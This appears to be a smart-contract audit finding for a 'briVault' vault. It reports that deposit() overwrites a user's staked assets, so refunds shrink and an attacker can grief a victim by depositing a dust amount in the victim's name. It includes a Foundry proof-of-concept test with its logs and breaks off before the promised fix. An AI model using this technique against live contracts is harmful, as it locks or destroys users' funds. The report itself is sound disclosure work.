Root + Impact

Description

• Any user can deposit assets using the briVault::deposit() function. Those assets get stored under briVault::stakedAsset() mapping, and the shares are minted accordingly.

• But there lies a small vulnerability that causes a lot of chaos for the users. Actually, when a user calls deposit(), their new assets overwrite the previous ones. That's because on line 222, stakedAsset[receiver] = stakeAsset;.

• Due to this, whenever a user decides to deposit again, their already deposited assets won't be tracked. And whenever he decides to opt out of the event, he won't get enough refunds. Technically, his assets will be stuck. The thing to note here is, this contract doesn't restrict anyone from depositing again, so yeah, that's quite a likely scenario to happen with many users.

• In the worst scenario, a malicious actor can overwrite someone else stakedAsset by calling deposit() with receiver = victim. Thus, making the victim's assets stuck, intentionally.

  function deposit(...) public override returns (uint256) {

  // ...

  uint256 stakeAsset = assets - fee;

  @> stakedAsset[receiver] = stakeAsset; // Overwrites the previous deposit

  // ...

  }

Risks

Likelihood: High/Medium

• If the users aren't aware of this issue, they can easily make such blunders.

• Doesn't restrict anyone from calling this function again and again.

• Interestingly, a malicious actor can also overwrite someone else stakedAsset easily.

Impact: High/Medium

• Doesn't harm the protocol at that level atleast, just makes the day difficult for the user.

• At some point, the protocol will have a lot more assets than shares.

• Provides an opportunity for malicious actors to force users to play the tournament by overwriting their assets. With this, the victims can't leave the tournament of their own will; otherwise, they will suffer losses.

• Erodes trust in the system.

Proof Of Concept

• A simple PoC showing:

  • How a user wants to make a deposit again, but mistakenly overwrites his previous deposit, he can incur a loss when opting out of the tournament.

  • A malicious actor intentionally overwrites someone's huge staked assets into the system with a small amount, forcing him to stay in the tournament.

  
  

• Add this test_StakedAssetsGetsOverwrites test to briVault.t.sol:

  function test_StakedAssetsGetsOverwrites() public {

  // Setup

  vm.prank(owner);

  briVault.setCountry(countries);

  ​

  console.log("//// SCENARIO - 1 ////");

  console.log();

  ​

  // User1 deposits around `5e18` tokens

  vm.startPrank(user1);

  mockToken.approve(address(briVault), type(uint256).max);

  briVault.deposit(5 ether, user1);

  vm.stopPrank();

  ​

  console.log("User1 made a first-time deposit");

  console.log("User1 staked Assets:", briVault.stakedAsset(user1));

  ​

  // Something hits his mind, and he deposits again, around `1e18` tokens this time

  vm.prank(user1);

  briVault.deposit(1 ether, user1);

  ​

  uint256 userAssetsBalanceAfterDeposits = mockToken.balanceOf(user1);

  ​

  console.log();

  console.log("User1 made a second-time deposit");

  console.log("User1 staked Assets:", briVault.stakedAsset(user1));

  ​

  // Before even the event starts, or anything happens...He urgently needs those assets for something else

  vm.prank(user1);

  briVault.cancelParticipation();

  ​

  uint256 depositedAssets = 6 ether;

  uint256 assetsReceived = mockToken.balanceOf(user1) - userAssetsBalanceAfterDeposits;

  console.log();

  console.log("User1 urgently needs his assets for something else, and thus decided to opt out...");

  console.log("But, the assets he received:", assetsReceived);

  console.log("Vs, the assets he deposited:", depositedAssets);

  ​

  // Asserts

  assertEq(briVault.stakedAsset(user1), 0, "stakedAsset should be zero after cancel");

  assertLt(assetsReceived, depositedAssets, "refund is less than total deposited due to overwrite");

  ​

  // ...

  ​

  console.log();

  console.log("//// SCENARIO - 2 ////");

  console.log();

  ​

  // An honest user2 felt bullish about this tournament, and deposited a huge amount, around 10e18 tokens

  vm.startPrank(user2);

  mockToken.approve(address(briVault), type(uint256).max);

  briVault.deposit(10 ether, user2);

  vm.stopPrank();

  ​

  console.log("User2 made a huge deposit");

  console.log("User2 staked Assets:", briVault.stakedAsset(user2));

  ​

  // A malicious actor (maybe having some grudge against user2) notices this, and thus overwrites user2's huge deposit

  vm.startPrank(user3);

  mockToken.approve(address(briVault), type(uint256).max);

  briVault.deposit(0.00025 ether, user2);

  vm.stopPrank();

  ​

  console.log();

  console.log("The malicious actor made a sneaky move");

  console.log("User2 staked Assets:", briVault.stakedAsset(user2));

  ​

  // Now, even if user2 (victim) had to opt out of the event, he would incur huge losses,

  // And thus have no other choice but to participate in the event, completely losing his free will to make decisions

  }
  
  

• Run the above test using the following command:

  forge test --mt test_StakedAssetsGetsOverwrites -vv
  
  

• Logs:

  Ran 1 test for test/briVault.t.sol:BriVaultTest

  [PASS] test_StakedAssetsGetsOverwrites() (gas: 1703085)

  Logs:

  //// SCENARIO - 1 ////

  ​

  User1 made a first-time deposit

  User1 staked Assets: 4925000000000000000

  ​

  User1 made a second-time deposit

  User1 staked Assets: 985000000000000000

  ​

  User1 urgently needs his assets for something else, and thus decided to opt out...

  But, the assets he received: 985000000000000000

  Vs, the assets he deposited: 6000000000000000000

  ​

  //// SCENARIO - 2 ////

  ​

  User2 made a huge deposit

  User2 staked Assets: 9850000000000000000

  ​

  The malicious actor made a sneaky move

  User2 staked Assets: 246250000000000

  ​

  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.65ms (960.93µs CPU time)

Recommended Mitigation

Rather than overwriting, the new deposits should be added to the previous ones. Hence, make this fix: